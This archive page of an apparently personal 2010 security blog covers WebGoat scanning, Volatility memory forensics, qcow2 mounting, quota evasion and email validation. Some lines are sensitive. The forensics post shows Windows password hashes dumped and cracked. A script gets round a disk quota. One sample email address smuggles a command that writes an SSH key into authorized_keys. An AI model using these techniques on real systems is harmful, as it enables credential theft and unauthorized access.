Archive for the ‘hacking’ Category

Skipfish versus WebGoat

Wednesday, April 21st, 2010

I just had the time to play around with skipfish and WebGoat. Both projects are actually awesome. Not only because they try to solve an important problem and are free, but also because it is very easy to get started. It is really just a matter of downloading, unpacking and running.

WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons” and tries to make it easy to teach and learn WebSec. It includes various lessons that the user has to take by solving a hackme. Of course, the usual suspects like XSS, SQLi or CSRF are covered. But they also ship AJAX, concurrency or HTTP problems.

As I read about skipfish over the last weeks, I was actually looking for a standard webapp that security assessment tools could run against so that the tools could be compared. I thought no such thing existed and was delighted to see WebGoat.

Installing and running WebGoat is very easy because it comes in a self contained bundle that works out of the box (for me at least ;-) ). As far as I can see, it also seems to work pretty well. However, there’s lots of room for improvement. They could equip the “Show Code” function with a source code highlighter, get rid of all the unnecessary JavaScript to make it work even if no JavaScript is turned on, double check their lessons whether they actually work (Hints in Prepared Statement SQLi are useless) or even dwell down on technical details during explanation of lessons. Or at least point to some good explanation. I know, these are ambitious goals, but eventually someone with a big pile of money comes around and badly needs to spend it ;-)

Skipfish is an active web application security reconnaissance tool. It prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes” and the further description sounds promising. So I gave it a try and again, it was as easy as downloading, unpacking, making and running.

I then ran it against the site to see how much it’ll get:

./skipfish -W dictionaries/complete.wl -A guest:guest -o /tmp/sf-results-simple-sqli-full 'http://127.0.0.1:8080/webgoat/attack?Screen=75&menu=1200'

It produces a self contained (read: 30MB) webpage which is actually nice to browse. The results, however, were not too exciting. It didn’t actually find any serious issue which I thought was interesting, given that WebGoat is deliberately insecure. I’ve uploaded the results and invite you to browse them :)

Volatility Memory Forensics Framework for Ubuntu

Wednesday, April 14th, 2010

After having obtained a memory image using FireWire (or other methods), I eventually wanted to actually examine what was going on as the image was taken.

Installing Volatility

Volatility is a framework that helps ripping interesting information out of a Windows XP memory dump. Although “strings” and “dd” are good tools, analysing 1GB of binary crap is not really a fun thing to do. Volatility knows how to parse the memory and allows to do fancy stuff on the memory.

Installation of Volatility is a bit weird because it is obviously for Windows and they hardcode the path the a Windows Python interpreter. Also, their module system is a bit weird, but in fairness works at least alrightish. The application itself is funnily packaged. They don’t really make use of namespaces and depend on modules being locally available.

That made it painful produce a Debian/Ubuntu package, but I made it and you can find it in my PPA. To install volatility through that PPA, you might want to do a:

sudo add-apt-repository ppa:ubuntu-bugs-auftrags-killer/muelli && sudo apt-get update && sudo apt-get install volatility

I think I packaged every available module so that you don’t need to go through 13 stupid^W very helpful but funny pages. You can see the available commands via plugins here:

muelli@xbox:/tmp$ volatility
/usr/lib/pymodules/python2.6/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
*** Unable to load module kernel_hooks: No module named pefile
*** Unable to load module usermode_hooks2: No module named pefile
*** Unable to load module malfind2: No module named pydasm
*** Unable to load module kernel_hooks: No module named pefile
*** Unable to load module usermode_hooks2: No module named pefile
*** Unable to load module malfind2: No module named pydasm

	Volatile Systems Volatility Framework v1.3
	Copyright (C) 2007,2008 Volatile Systems
	Copyright (C) 2007 Komoku, Inc.
	This is free software; see the source for copying conditions.
	There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

	usage: volatility cmd [cmd_opts]

	Run command cmd with options cmd_opts
	For help on a specific command, run 'volatility cmd --help'

	Supported Internal Commands:
		connections    	Print list of open connections
		connscan       	Scan for connection objects
		connscan2      	Scan for connection objects (New)
		datetime       	Get date/time information for image
		dlllist        	Print list of loaded dlls for each process
		dmp2raw        	Convert a crash dump to a raw dump
		dmpchk         	Dump crash dump information
		files          	Print list of open files for each process
		hibinfo        	Convert hibernation file to linear raw image
		ident          	Identify image properties
		memdmp         	Dump the addressable memory for a process
		memmap         	Print the memory map
		modscan        	Scan for modules
		modscan2       	Scan for module objects (New)
		modules        	Print list of loaded modules
		procdump       	Dump a process to an executable sample
		pslist         	Print list of running processes
		psscan         	Scan for EPROCESS objects
		psscan2        	Scan for process objects (New)
		raw2dmp        	Convert a raw dump to a crash dump
		regobjkeys     	Print list of open regkeys for each process
		sockets        	Print list of open sockets
		sockscan       	Scan for socket objects
		sockscan2      	Scan for socket objects (New)
		strings        	Match physical offsets to virtual addresses (may take a while, VERY verbose)
		thrdscan       	Scan for ETHREAD objects
		thrdscan2      	Scan for thread objects (New)
		vaddump        	Dump the Vad sections to files
		vadinfo        	Dump the VAD info
		vadwalk        	Walk the vad tree

	Supported Plugin Commands:
		cachedump      	Dump (decrypted) domain hashes from the registry
		cryptoscan     	Find TrueCrypt passphrases
		driverirp      	Print driver IRP function addresses
		driverscan     	Scan for driver objects
		fileobjscan    	Scan for file objects
		getsids        	Print the SIDs owning each process
		hashdump       	Dump (decrypted) LM and NT hashes from the registry
		hivedump       	Dump registry hives to CSV
		hivelist       	Print list of registry hives
		hivescan       	Scan for _CMHIVE objects (registry hives)
		idt            	Print Interrupt Descriptor Table (IDT) entries
		intobjscan     	Scan for interrupt handler registrations
		keyboardbuffer 	Print BIOS keyboard buffer
		lsadump        	Dump (decrypted) LSA secrets from the registry
		memmap_ex_2    	Print the memory map
		moddump        	Dump loaded kernel modules to disk.
		mutantscan     	Scan for mutant (mutex) objects
		objtypescan    	Scan for object type objects
		orphan_threads 	Find kernel threads that don't map back to loaded modules
		printkey       	Print a registry key, and its subkeys and values
		pslist_ex_1    	Print list running processes
		pslist_ex_3    	Print list running processes
		pstree
		ssdt           	Display SSDT entries
		suspicious     	Find suspicious command lines and display them
		symlinkobjscan 	Scan for symbolic link objects
		thread_queues  	Print message queues for each thread
		usrdmp_ex_2    	Dump the address space for a process

	Example: volatility pslist -f /path/to/my/file
muelli@xbox:/tmp$

So yeah, some warnings are due to missing dependencies. But it’s all packaged with the exception of pydasm. So if you have enough time at your hands, please do that ;-)

If you have another module that you want to have added or if anything doesn’t work, please give me a shout.

Using Volatility

An interesting question might be whether someone has viewed a given picture. We know that the physical address space contains many 4kB sized pages. This is a problem for analysing the memory because we usually expect data to be larger than 4kB and this data is most likely fragmented in physical memory. So extracting a picture from the raw memory dump, while possible would be problematic. Our approach was to create a contiguous dump of a processes virtual memory address space and to search our target image in that memory dump. Fortunately, volatility is already able to dump a process’ virtual memory address space, which leaves us with the admittedly not too hard task of finding and extracting binary data of that picture.

We started by generating a list of running processes from the RAM image to identify the process ID of our target process (firefox in our case):

$ volatility pslist -f memorydump
Name                 Pid    PPid   Thds   Hnds   Time
firefox.exe          2212   2720   22     320    Sat Mar 20 14:33:29 2010

Afterwards, we dump the processes virtual memory, using the PID of that process, into a file. Using this we can start searching for our target picture in the process memory dump:

$ volatility memdmp -p 2212 -f memorydump

If we knew that the picture file that is being searched for was a JPEG and we found that these files have a start and end byte sequence 0xffd8 and 0xffd9 respectively. While this was helpful information we still need to narrow down our search. Using xxd we can take small byte sequences from the body of original picture and search for this sequence in the process’ ID image file. Using this method we are able to find the start of the JPEG picture, in the firefox process memory dump. Here, we can see that the start of the JPEG image marker (0xffd8) occurs at address 0x4e20008 in the image dump:

4e20000: 120e 0200 120e 0200 ffd8 ffe0 0010 4a46  ..............JF
4e20010: 4946 0001 0200 0064 0064 0000 ffec 0011  IF.....d.d......
4e20020: 4475 636b 7900 0100 0400 0000 3c00 00ff  Ducky.......<...

Then from this point forwards in the file, a search for the JPEG end of file byte sequence (0xffd9) gives us the address of the end of the JPEG picture in the memory image file. Here we can see that the JPEG picture ends at address 0x4e40e19:

4e40e00: d5c2 5047 3401 82c7 b75c 5638 2624 461d  ..PG4....\V8&$F.
4e40e10: 4c54 f6b1 3d3c 4b3f ffd9 6500 2800 2700  LT..=<K?..e.(.'.
4e40e20: 7000 7800 2700 2c00 2700 2700 2900 3b00  p.x.'.,.'.'.).;.

Then using dd with a block size of one byte, and knowing the start and end addresses of our picture image obtained above, we can get python to work out the decimal number of bytes to skip into the file and also the decimal number of bytes to count or read from that position.

$ dd if=2212.dmp bs=1 skip=$(python -c 'print 0x4e20008')
         count=$(python -c 'print 0x4e40e20 - 0x4e20008') > recovered.jpg
134674+0 records in
134674+0 records out
134674 bytes (135 kB) copied, 0.812532 s, 166 kB/s

To verify that the picture extracted from RAM is the same as original picture we can get as hash of both files:

$ sha256sum Goofy\ Finger.jpg recovered.jpg
e87db764d0f2baccdd5b68dd0324c31ee2281a787d27de38c48e6e9c300b2349  Goofy Finger.jpg
e87db764d0f2baccdd5b68dd0324c31ee2281a787d27de38c48e6e9c300b2349  recovered.jpg
$ display recovered.jpg

Collecting Password Hashes

For password recovery purposes one might be interested in obtaining the hashed passwords of a running (Windows) system. As a nice side effect, we will gain all existing users on that system. Fortunately, a plugin for volatilty exists which allows dumping the password hashes. The process, however, is a bit cumbersome and could be more automated in the future. We start off finding Registry data in the memory using the hivescan command which will give us the offset of the data in memory. We scan two of these memory locations to make sure that we identify the Security and the System hive whichs addresses we have to remember (in our case 0xe1035b60 and 0xe16bdb60). With these addresses, we run the volatility hashdump tool which happily prints all the password hashes.

$ python volatility hivescan -f memorydump
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Offset          (hex)
58175496        0x377b008
58202976        0x3781b60
63080280        0x3c28758
118954848       0x7171b60
268880736       0x1006cb60
292773896       0x11736008
294130688       0x11881400
414687240       0x18b7a008
421538656       0x19202b60
424552368       0x194e27b0
425945952       0x19636b60
436572168       0x1a059008
705187848       0x2a085008
$ python volatility hivelist -f memorydump  -o 0x377b008
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Address      Name
0xe1e8cb60   \DaS\joe\LS\AD\Microsoft\Windows\UsrClass.dat
0xe261f008   \DaS\joe\NTUSER.DAT
0xe1e65b60   \DaS\LocalService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1f14008   \DaS\LocalService\NTUSER.DAT
0xe1e797b0   \DaS\NetworkService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1e03008   \DaS\NetworkService\NTUSER.DAT
0xe1776008   \WINDOWS\system32\config\software
0xe1756400   \WINDOWS\system32\config\default
0xe16e3b60   \WINDOWS\system32\config\SECURITY
0xe16bdb60   \WINDOWS\system32\config\SAM
0xe14b8758   [no name]
0xe1035b60   \WINDOWS\system32\config\system
0xe102e008   [no name]
$ python volatility hivelist -f memorydump  -o 0x1a059008
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Address      Name
0xe1e03008   \Documents and Settings\NetworkService\NTUSER.DAT
0xe1776008   \WINDOWS\system32\config\software
0xe1756400   \WINDOWS\system32\config\default
0xe16e3b60   \WINDOWS\system32\config\SECURITY  <-- Security Hive
0xe16bdb60   \WINDOWS\system32\config\SAM
0xe14b8758   [no name]
0xe1035b60   \WINDOWS\system32\config\system    <-- System Hive
0xe102e008   [no name]
0xe1e8cb60   \DaS\joe\LS\AD\Microsoft\Windows\UsrClass.dat
0xe261f008   \DaS\joe\NTUSER.DAT
0xe1e65b60   \DaS\LocalService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1f14008   \DaS\LocalService\NTUSER.DAT
0xe1e797b0   \DaS\NetworkService\LS\AD\Microsoft\Windows\UsrClass.dat
$ python volatility hashdump -f memorydump  -y 0xe1035b60 -s 0xe16bdb60
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Administrator:500:2637e35bf0422b90aad3b435b51404ee:48ff5741a4f96d75a9dc23432a6c2fb6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:69d67a492c3dd902282b6be852ba02cf:4672a0174e4f2400bb0fd10d50b9868c:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c0e2f264bd5be499af3d7b9740579aa7:::
joe:1005:fb62f624fe735986aad3b435b51404ee:c025e7fccfbccc90b057725ef909f4e2:::
mary:1006:758cd98ba77b7ff8aad3b435b51404ee:67f301368e34e8d7a3e5def3d74dbbf2:::
$

Having obtained these hashes, one could use, i.e. Ophcrack to recover the password. A web based interface is available and successfully recovered each and every password (i.e.: empty, BLOGGS, MARY123, SMITH, KO*5VUMOWUKGAD). Advanced attacks such as Pass-The-Hash might also be possible.

It would be interesting to know, how to obtain password hashes from a running Linux or Mac system. The technique should be straight forward: Obtain RAM, get your own hash and search for this well known hash in memory. The harder work will then be to identify the data structures in which the hashes are embedded to reliably identify the hash storage for generality.

Mounting QEmu qcow2 Image using NBD

Sunday, March 28th, 2010

For some reason, I had to mount a QEmu qcow2 image in the host system. I googled around and found some post on the qemu-dev list. Also, the QEmu FAQ answers whether one can mount any QEmu image, but it’s not very verbose. So I went and tried and voila: It works :)


muelli@xbox:~$ qemu-nbd --read-only --partition=1  --snapshot  winxp.img &
muelli@xbox:~$ sudo nbd-client localhost 1024 /dev/nbd0
Negotiation: ..size = 31447206KB
bs=1024, sz=31447206
muelli@xbox:~$ sudo mount /dev/nbd0 -oloop  ~/empty/
muelli@xbox:~$ ls -l /home/muelli/empty/
total 1744981
-rwxrwxrwx 1 root root         0 2009-03-13 18:35 AUTOEXEC.BAT
-rwxrwxrwx 1 root root      4952 2008-04-14 09:00 bootfont.bin
-rwxrwxrwx 1 root root       207 2009-03-13 18:27 boot.ini
-rwxrwxrwx 1 root root         0 2009-03-13 18:35 CONFIG.SYS
drwxrwxrwx 1 root root      4096 2009-03-13 19:17 Dokumente und Einstellungen
drwxrwxrwx 1 root root         0 2009-03-13 22:02 Driver
-rwxrwxrwx 1 root root 536399872 2009-04-04 14:37 hiberfil.sys
-rwxrwxrwx 1 root root         0 2009-03-13 18:35 IO.SYS
-rwxrwxrwx 1 root root         0 2009-03-13 18:35 MSDOS.SYS
drwxrwxrwx 1 root root      4096 2009-03-13 22:29 nlite
-rwxrwxrwx 1 root root     47564 2008-04-14 09:00 NTDETECT.COM
-rwxrwxrwx 1 root root    251712 2008-04-14 09:00 ntldr
-rwxrwxrwx 1 root root 805306368 2009-04-04 14:37 pagefile.sys
drwxrwxrwx 1 root root         0 2009-03-13 19:03 Postinstall
drwxrwxrwx 1 root root      4096 2009-03-13 20:59 Programme
drwxrwxrwx 1 root root      4096 2009-03-13 19:06 System Volume Information
drwxrwxrwx 1 root root     32768 2009-04-04 14:40 WINXP
muelli@xbox:~$

It uses a technology I’ve never heard of: Network Block Device (NBD). Now I’m a bit smarter. And I hope you can make use of this information :)

Bossa Conference 2010

Monday, March 15th, 2010

I’ve just attended Bossa Conference 2010 in Manaus, Amazonas, Brazil. Thanks again to the Instituto Nokia de Tecnologia (INdT) for holding this amazing conference. I’d say it’s somewhat like FOSS.in, but with less people and a more relaxed atmosphere.

I gave a talk about “Security in Mobile Devices” and went very well although I refactored my slides just shortly before I gave it and I expected more fuckups. But the people apparently enjoyed it and I got lots of interesting feedback. You can find my slides here.

If you’ve been there and want to follow-up, you might find the Maemo Wiki on Security interesting. I recommend to read through the stuff that Collin Mulliner did, on i.e. NFC or the iPhone. Also the things that he did together with Charlie Miller are worth reading, basically fuzzing the Operating System by pretending to be the modem which produced interesting results. But there is more work to be done which I am convinced will give more interesting results in the future. Maemo on the N900 apparently doesn’t talk via a serial line to the modem but rather via PhoNet, making it even more interesting to fiddle around with the low level GSM stack.

As for policies and statistics,  Symantecs Ollie Whitehouse wrote some interesting articles such as this or that. Other, more technical papers include Yves Younans Filter Resistant ARM Shellcode or some guys proposing Kirin to extend the Android security model. For a more general overview, have a loot at a good Android link list.

As for the rest of the conference, I felt that it was a bit shallow content-wise probably because of all that Qt stuff that was presented. But in fairness, they had to bring it since it’s going to be used by Maemo Meego. Anyway, I enjoyed it pretty much, because the people were all open and interested and I had good conversations. And good food ;-)

Subverting (Soft) Quota

Monday, March 1st, 2010

My home directory  in my university has some restrictions, one of them being a ridiculously small 100 megabyte and 5000 files (soft) quota… How could you ever study with that?! My Firefox instance (with e.g. Zotero) uses 4393 files already:

$ find  ~/.mozilla/firefox/*.default/ -type f | wc -l
4349
$ du -hs ~/.mozilla/firefox/*.default/  | awk '{print $1}'
90M
$

So these restrictions don’t even allow me to run my research tools. Let alone checking out stuff from a Git/Mercurial repository and working on anything.

Needless to say that I am pretty annoyed by these restrictions. Fortunately, quotas will forget about you as soon as you fall below the limit so that you only need to fall below the limit every now and then. So let’s do this automatically then:

#!/bin/sh
 
RAND=$$
BACKUP=~/.mozilla
TARGET=/tmp/.mozilla.$RAND
 
cp -ar "$BACKUP" "$TARGET" && rm -rf "$BACKUP" && cp -ar "$TARGET" "$BACKUP" && rm -rf "$TARGET" && echo "Finished successfully" || echo "Failure :("

And let cron run it once a week:

42 23 * * Sun       ~/bin/sneak-quota.sh

*yay*

WTFOTM: Email validating RegExp

Monday, January 25th, 2010

I think I’ll start a new series: My wtf of the month. This time, it’s a regular expression I found.

How much does it take to validate an email address, you might ask. Well, can’t be that hard, right? If you read the corresponding RFC 5322, you’ll notice that the local part of an email address (that is the part in front of the “@”) contains “dot-atoms”. Section 3.4.1 writes:

local-part      =   dot-atom / quoted-string / obs-local-part

At the end of the day, a “dot-atom” is a “dot-atom-text” which is a “atext” which is according to section 3.2.3:

atext           =   ALPHA / DIGIT /    ; Printable US-ASCII
“!” / “#” /        ;  characters not including
“$” / “%” /        ;  specials.  Used for atoms.
“&” / “‘” /
“*” / “+” /
“-” / “/” /
“=” / “?” /
“^” / “_” /
“`” / “{” /
“|” / “}” /
“~”

That effectively allows you to have email addresses like !foo$bar/baz=qux@example.com, "#~foo@bar^^"@example.com, `echo${LFS}ssh-rsa${LFS}AAA...|tee${LFS}~/.ssh/authorized_keys`@example.com. I am more than curious to see how servers and MUAs (especially on mobile devices) handle these cases.

I came around to bother because some poor guy wanted to implement email address validation in Evolution. I found the yet untested but obviously correct way in a Perl module:

$RFC822PAT = <<'EOF';
[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\
xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xf
f\n\015()]*)*\)[\040\t]*)*(?:(?:[^(\040)<>@,;:".\\\[\]\000-\037\x80-\x
ff]+(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff])|"[^\\\x80-\xff\n\015
"]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015"]*)*")[\040\t]*(?:\([^\\\x80-\
xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80
-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*
)*(?:\.[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\
\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\
x80-\xff\n\015()]*)*\)[\040\t]*)*(?:[^(\040)<>@,;:".\\\[\]\000-\037\x8
0-\xff]+(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff])|"[^\\\x80-\xff\n
\015"]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015"]*)*")[\040\t]*(?:\([^\\\x
80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^
\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040
\t]*)*)*@[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([
^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\
\\x80-\xff\n\015()]*)*\)[\040\t]*)*(?:[^(\040)<>@,;:".\\\[\]\000-\037\
x80-\xff]+(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff])|\[(?:[^\\\x80-
\xff\n\015\[\]]|\\[^\x80-\xff])*\])[\040\t]*(?:\([^\\\x80-\xff\n\015()
]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\
x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*(?:\.[\04
0\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\
n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\
015()]*)*\)[\040\t]*)*(?:[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+(?!
[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff])|\[(?:[^\\\x80-\xff\n\015\[\
]]|\\[^\x80-\xff])*\])[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\
x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\01
5()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*)*|(?:[^(\040)<>@,;:".
\\\[\]\000-\037\x80-\xff]+(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]
)|"[^\\\x80-\xff\n\015"]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015"]*)*")[^
()<>@,;:".\\\[\]\x80-\xff\000-\010\012-\037]*(?:(?:\([^\\\x80-\xff\n\0
15()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][
^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)|"[^\\\x80-\xff\
n\015"]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015"]*)*")[^()<>@,;:".\\\[\]\
x80-\xff\000-\010\012-\037]*)*<[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?
:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-
\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*(?:@[\040\t]*
(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015
()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()
]*)*\)[\040\t]*)*(?:[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+(?![^(\0
40)<>@,;:".\\\[\]\000-\037\x80-\xff])|\[(?:[^\\\x80-\xff\n\015\[\]]|\\
[^\x80-\xff])*\])[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\
xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*
)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*(?:\.[\040\t]*(?:\([^\\\x80
-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x
80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t
]*)*(?:[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+(?![^(\040)<>@,;:".\\
\[\]\000-\037\x80-\xff])|\[(?:[^\\\x80-\xff\n\015\[\]]|\\[^\x80-\xff])
*\])[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x
80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80
-\xff\n\015()]*)*\)[\040\t]*)*)*(?:,[\040\t]*(?:\([^\\\x80-\xff\n\015(
)]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\
\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*@[\040\t
]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\0
15()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015
()]*)*\)[\040\t]*)*(?:[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+(?![^(
\040)<>@,;:".\\\[\]\000-\037\x80-\xff])|\[(?:[^\\\x80-\xff\n\015\[\]]|
\\[^\x80-\xff])*\])[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80
-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()
]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*(?:\.[\040\t]*(?:\([^\\\x
80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^
\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040
\t]*)*(?:[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+(?![^(\040)<>@,;:".
\\\[\]\000-\037\x80-\xff])|\[(?:[^\\\x80-\xff\n\015\[\]]|\\[^\x80-\xff
])*\])[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\
\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x
80-\xff\n\015()]*)*\)[\040\t]*)*)*)*:[\040\t]*(?:\([^\\\x80-\xff\n\015
()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\
\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*)?(?:[^
(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+(?![^(\040)<>@,;:".\\\[\]\000-
\037\x80-\xff])|"[^\\\x80-\xff\n\015"]*(?:\\[^\x80-\xff][^\\\x80-\xff\
n\015"]*)*")[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|
\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))
[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*(?:\.[\040\t]*(?:\([^\\\x80-\xff
\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\x
ff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*(
?:[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+(?![^(\040)<>@,;:".\\\[\]\
000-\037\x80-\xff])|"[^\\\x80-\xff\n\015"]*(?:\\[^\x80-\xff][^\\\x80-\
xff\n\015"]*)*")[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\x
ff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)
*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*)*@[\040\t]*(?:\([^\\\x80-\x
ff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-
\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)
*(?:[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+(?![^(\040)<>@,;:".\\\[\
]\000-\037\x80-\xff])|\[(?:[^\\\x80-\xff\n\015\[\]]|\\[^\x80-\xff])*\]
)[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-
\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\x
ff\n\015()]*)*\)[\040\t]*)*(?:\.[\040\t]*(?:\([^\\\x80-\xff\n\015()]*(
?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]*(?:\\[^\x80-\xff][^\\\x80
-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)*\)[\040\t]*)*(?:[^(\040)<
>@,;:".\\\[\]\000-\037\x80-\xff]+(?![^(\040)<>@,;:".\\\[\]\000-\037\x8
0-\xff])|\[(?:[^\\\x80-\xff\n\015\[\]]|\\[^\x80-\xff])*\])[\040\t]*(?:
\([^\\\x80-\xff\n\015()]*(?:(?:\\[^\x80-\xff]|\([^\\\x80-\xff\n\015()]
*(?:\\[^\x80-\xff][^\\\x80-\xff\n\015()]*)*\))[^\\\x80-\xff\n\015()]*)
*\)[\040\t]*)*)*>)
EOF

This is a handy 6.5kB regular expression that validates an email address. I wonder how long it takes to compile and to actually match an email address against… (Arr, stupid wordpress escapes all those fancy characters everytime I have the edit widget open :-( )

So, now go and fix your email address validating script.

Convert GDB output to C-style shellcode

Friday, November 27th, 2009

Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this:
(gdb) disassemble function
Dump of assembler code for function function:
0x08048254 <function+0>:    push   %ebp
0x08048255 <function+1>:    mov    %esp,%ebp
0x08048257 <function+3>:    pop    %ebp
0x08048258 <function+4>:    jmp    0x8048268 <begin>
0x0804825a <function+6>:    inc    %ecx
0x0804825b <function+7>:    inc    %ecx
0x0804825c <function+8>:    inc    %ecx
0x0804825d <function+9>:    inc    %ecx
0x0804825e <function+10>:    jmp    0x80482b3 <bottom>
0x08048260 <function+12>:    pop    %esi
0x08048261 <function+13>:    mov    %esi,%esp
